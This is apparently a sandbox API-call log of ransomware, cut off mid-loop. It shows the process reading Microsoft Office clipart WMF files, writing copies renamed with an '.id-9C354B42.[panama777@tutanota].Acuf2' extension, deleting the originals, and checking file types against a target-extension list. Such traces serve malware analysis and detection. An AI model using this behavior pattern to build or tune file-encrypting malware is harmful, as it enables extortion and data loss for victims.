	[0255.838] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.838] lstrlenW (lpString="BD06200_.WMF") returned 12
	[0255.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.844] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=16676) returned 1
	[0255.844] CloseHandle (hObject=0x28c) returned 1
	[0255.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20
	[0255.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.849] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.849] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.849] GetLastError () returned 0x0
	[0255.849] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4124, lpOverlapped=0x0) returned 1
	[0255.851] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4130, lpOverlapped=0x0) returned 1
	[0255.852] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.852] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.852] SetEndOfFile (hFile=0x28c) returned 1
	[0255.852] CloseHandle (hObject=0x28c) returned 1
	[0255.852] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.852] SetEndOfFile (hFile=0x29c) returned 1
	[0255.854] CloseHandle (hObject=0x29c) returned 1
	[0255.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1
	[0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.855] lstrlenW (lpString=".doc") returned 4
	[0255.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.855] lstrlenW (lpString=".docx") returned 5
	[0255.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.855] lstrlenW (lpString=".pdf") returned 4
	[0255.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.855] lstrlenW (lpString=".xls") returned 4
	[0255.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.855] lstrlenW (lpString=".xlsx") returned 5
	[0255.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.855] lstrlenW (lpString=".ppt") returned 4
	[0255.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.855] lstrlenW (lpString=".zip") returned 4
	[0255.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.856] lstrlenW (lpString=".rar") returned 4
	[0255.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.856] lstrlenW (lpString=".bz2") returned 4
	[0255.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.856] lstrlenW (lpString=".7z") returned 3
	[0255.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.856] lstrlenW (lpString=".dbf") returned 4
	[0255.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.856] lstrlenW (lpString=".1cd") returned 4
	[0255.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.856] lstrlenW (lpString=".jpg") returned 4
	[0255.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.856] lstrlenW (lpString=".doc") returned 4
	[0255.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.856] lstrlenW (lpString=".docx") returned 5
	[0255.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.856] lstrlenW (lpString=".pdf") returned 4
	[0255.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.856] lstrlenW (lpString=".xls") returned 4
	[0255.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.856] lstrlenW (lpString=".xlsx") returned 5
	[0255.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.856] lstrlenW (lpString=".ppt") returned 4
	[0255.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.856] lstrlenW (lpString=".zip") returned 4
	[0255.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.857] lstrlenW (lpString=".rar") returned 4
	[0255.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.857] lstrlenW (lpString=".bz2") returned 4
	[0255.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.857] lstrlenW (lpString=".7z") returned 3
	[0255.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.857] lstrlenW (lpString=".dbf") returned 4
	[0255.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.857] lstrlenW (lpString=".1cd") returned 4
	[0255.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63
	[0255.857] lstrlenW (lpString=".jpg") returned 4
	[0255.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.858] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.858] lstrlenW (lpString="BD07804_.WMF") returned 12
	[0255.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.858] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4924) returned 1
	[0255.858] CloseHandle (hObject=0x29c) returned 1
	[0255.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20
	[0255.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.858] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.859] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.859] GetLastError () returned 0x0
	[0255.859] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x133c, lpOverlapped=0x0) returned 1
	[0255.861] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1340, lpOverlapped=0x0) returned 1
	[0255.862] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.862] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.862] SetEndOfFile (hFile=0x28c) returned 1
	[0255.862] CloseHandle (hObject=0x28c) returned 1
	[0255.862] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.862] SetEndOfFile (hFile=0x29c) returned 1
	[0255.865] CloseHandle (hObject=0x29c) returned 1
	[0255.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1
	[0255.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.865] lstrlenW (lpString=".doc") returned 4
	[0255.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.865] lstrlenW (lpString=".docx") returned 5
	[0255.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.866] lstrlenW (lpString=".pdf") returned 4
	[0255.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.866] lstrlenW (lpString=".xls") returned 4
	[0255.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.866] lstrlenW (lpString=".xlsx") returned 5
	[0255.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.866] lstrlenW (lpString=".ppt") returned 4
	[0255.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.866] lstrlenW (lpString=".zip") returned 4
	[0255.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.866] lstrlenW (lpString=".rar") returned 4
	[0255.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.866] lstrlenW (lpString=".bz2") returned 4
	[0255.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.866] lstrlenW (lpString=".7z") returned 3
	[0255.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.866] lstrlenW (lpString=".dbf") returned 4
	[0255.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.866] lstrlenW (lpString=".1cd") returned 4
	[0255.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.866] lstrlenW (lpString=".jpg") returned 4
	[0255.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.866] lstrlenW (lpString=".doc") returned 4
	[0255.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.867] lstrlenW (lpString=".docx") returned 5
	[0255.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.867] lstrlenW (lpString=".pdf") returned 4
	[0255.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.867] lstrlenW (lpString=".xls") returned 4
	[0255.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.867] lstrlenW (lpString=".xlsx") returned 5
	[0255.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.867] lstrlenW (lpString=".ppt") returned 4
	[0255.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.867] lstrlenW (lpString=".zip") returned 4
	[0255.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.867] lstrlenW (lpString=".rar") returned 4
	[0255.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.867] lstrlenW (lpString=".bz2") returned 4
	[0255.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.867] lstrlenW (lpString=".7z") returned 3
	[0255.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.868] lstrlenW (lpString=".dbf") returned 4
	[0255.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.868] lstrlenW (lpString=".1cd") returned 4
	[0255.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63
	[0255.868] lstrlenW (lpString=".jpg") returned 4
	[0255.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.868] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.868] lstrlenW (lpString="BD07831_.WMF") returned 12
	[0255.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.869] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4066) returned 1
	[0255.869] CloseHandle (hObject=0x29c) returned 1
	[0255.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20
	[0255.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.869] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.869] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.870] GetLastError () returned 0x0
	[0255.870] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xfe2, lpOverlapped=0x0) returned 1
	[0255.965] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xff0, lpOverlapped=0x0) returned 1
	[0255.966] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.966] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.966] SetEndOfFile (hFile=0x28c) returned 1
	[0255.966] CloseHandle (hObject=0x28c) returned 1
	[0255.966] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.966] SetEndOfFile (hFile=0x29c) returned 1
	[0255.969] CloseHandle (hObject=0x29c) returned 1
	[0255.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1
	[0256.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.100] lstrlenW (lpString=".doc") returned 4
	[0256.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.100] lstrlenW (lpString=".docx") returned 5
	[0256.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.100] lstrlenW (lpString=".pdf") returned 4
	[0256.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.100] lstrlenW (lpString=".xls") returned 4
	[0256.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.100] lstrlenW (lpString=".xlsx") returned 5
	[0256.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.100] lstrlenW (lpString=".ppt") returned 4
	[0256.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.100] lstrlenW (lpString=".zip") returned 4
	[0256.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.101] lstrlenW (lpString=".rar") returned 4
	[0256.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.101] lstrlenW (lpString=".bz2") returned 4
	[0256.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.101] lstrlenW (lpString=".7z") returned 3
	[0256.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.101] lstrlenW (lpString=".dbf") returned 4
	[0256.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.101] lstrlenW (lpString=".1cd") returned 4
	[0256.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.101] lstrlenW (lpString=".jpg") returned 4
	[0256.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.101] lstrlenW (lpString=".doc") returned 4
	[0256.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.101] lstrlenW (lpString=".docx") returned 5
	[0256.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.101] lstrlenW (lpString=".pdf") returned 4
	[0256.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.101] lstrlenW (lpString=".xls") returned 4
	[0256.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.102] lstrlenW (lpString=".xlsx") returned 5
	[0256.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.102] lstrlenW (lpString=".ppt") returned 4
	[0256.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.102] lstrlenW (lpString=".zip") returned 4
	[0256.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.102] lstrlenW (lpString=".rar") returned 4
	[0256.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.102] lstrlenW (lpString=".bz2") returned 4
	[0256.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.102] lstrlenW (lpString=".7z") returned 3
	[0256.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.102] lstrlenW (lpString=".dbf") returned 4
	[0256.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.102] lstrlenW (lpString=".1cd") returned 4
	[0256.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63
	[0256.102] lstrlenW (lpString=".jpg") returned 4
	[0256.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.102] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.102] lstrlenW (lpString="BD09662_.WMF") returned 12
